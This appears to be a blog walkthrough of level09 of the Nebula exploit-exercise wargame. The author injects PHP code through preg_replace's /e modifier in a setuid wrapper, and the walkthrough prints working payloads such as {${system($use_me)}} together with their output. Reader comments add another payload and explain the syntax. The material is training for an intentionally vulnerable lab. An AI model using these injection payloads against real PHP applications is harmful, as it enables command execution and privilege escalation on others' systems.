Nebula exploit exercises walkthrough – level09

There’s a C setuid wrapper for some vulnerable PHP code…

", $contents);

	return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

I’m no PHP expert – this one took me a long time. There are two functions that look dubious there – file_get_contents and preg_replace. Let’s see what it is meant to do.

It looks like it reads the file provided as the first argument ($filename) and does nothing with a second argument ($use_me). The file read in is expected to be in the format:

[email dobby@trashbat.co.ck]

and it returns a string like so:

level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
dobby AT trashbat dot co dot ck>

You can use the command to get an arbitrary file that flag09 is permissioned for:

level09@nebula:/home/flag09$ ./flag09 /home/flag09/flag09.php use_me

But we need to execute something, not read something.

Look closely at one of the preg_replace lines:

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

This looks like, for the 2nd matching term, run the spam function on it. The second term is substituted inside the spam() function, then executed. Maybe we can inject a command here.

I've recently done a couple of XSS tutorials/games, which have given me a fair bit of practice at command injection (in Javascript, though), and felt I was getting quite natural and good at it. However, this PHP one ended up being just a big case of trial and error.

I started trying to execute phpinfo() - it nearly always works and doesn't need any parameters passing to it.

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email phpinfo()]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
phpinfo()

Right - this just echos the command.

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email $phpinfo()]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Notice:  Undefined variable: phpinfo in /home/flag09/flag09.php(15) : regexp code on line 1
()

Ok - it's now treating phpinfo as a variable, but that variable isn't defined.

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email ${phpinfo()}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Parse error:  syntax error, unexpected '(' in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code: 
spam("${phpinfo()}") in /home/flag09/flag09.php on line 15

Now we have passed an expression with invalid syntax...

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email {${phpinfo()}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2

System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686

Yes! Ok - so this strange notation with curly braces works. I'm not quite sure why it needs to be like this, but now I have it, I can find examples of people using it.

Now we need to run getflag. PHP has system to do system calls.

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email {${system("getflag"()}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Parse error:  syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error:  preg_replace(): Failed evaluating code: 
spam("{${system(\"getflag\"()}}") in /home/flag09/flag09.php on line 15

Hmm. It is escaping the inverted commas so it doesn't work. In fact, it seems to escape anything helpful

Coming back to one of the examples above - we managed to get it to treat phpinfo as a variable. What happens if we try to use the unused parameter, use_me?

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email $use_me]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt second_parameter
second_parameter

Right - so we can use that to pass in a string. Let's combine the two.

level09@nebula:/home/flag09$ cat /tmp/input.txt 
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Excellent! I got there in the end. It felt a little painful. If the second parameter hadon't been called use_me, and this wasn't an exploit wargame, I would have given up. Not happy with this level.

2 thoughts on “Nebula exploit exercises walkthrough – level09

  1. Permalink  ⋅ Reply

    Charles

    November 5, 2014 at 11:31pm

    Alternatively you can also use the following line in the text file and forget about use_me

    [email {${exec(getflag)}}]

  2. Permalink  ⋅ Reply

    Anon

    April 4, 2016 at 4:20pm

    I know this is a long time since you’ve posted this, but I just found it and thought I’d share my 2 cents on why this is working since you stated above you weren’t sure why it worked.

    The file is read and stored as a string, which is evaluated on line 15:
    $contents = preg_replace(“/([email (.*)])/e”, “spam(“\2″)”, $contents);

    And $contents having the value:
    “email {${exec(getflag)}}”

    exec(getflag) is being placed inside of a function, which is being stored as an unnamed variable using the first set of braces ${ }. The outside set of braces is how you stick variables inside of strings in PHP. In this case the variable is actually a function with only 1 line, a call to exec(). Any time that string is evaluated, PHP needs to resolve the value between the outside braces to construct the string, which cascades into the call to exec().

Leave a Reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.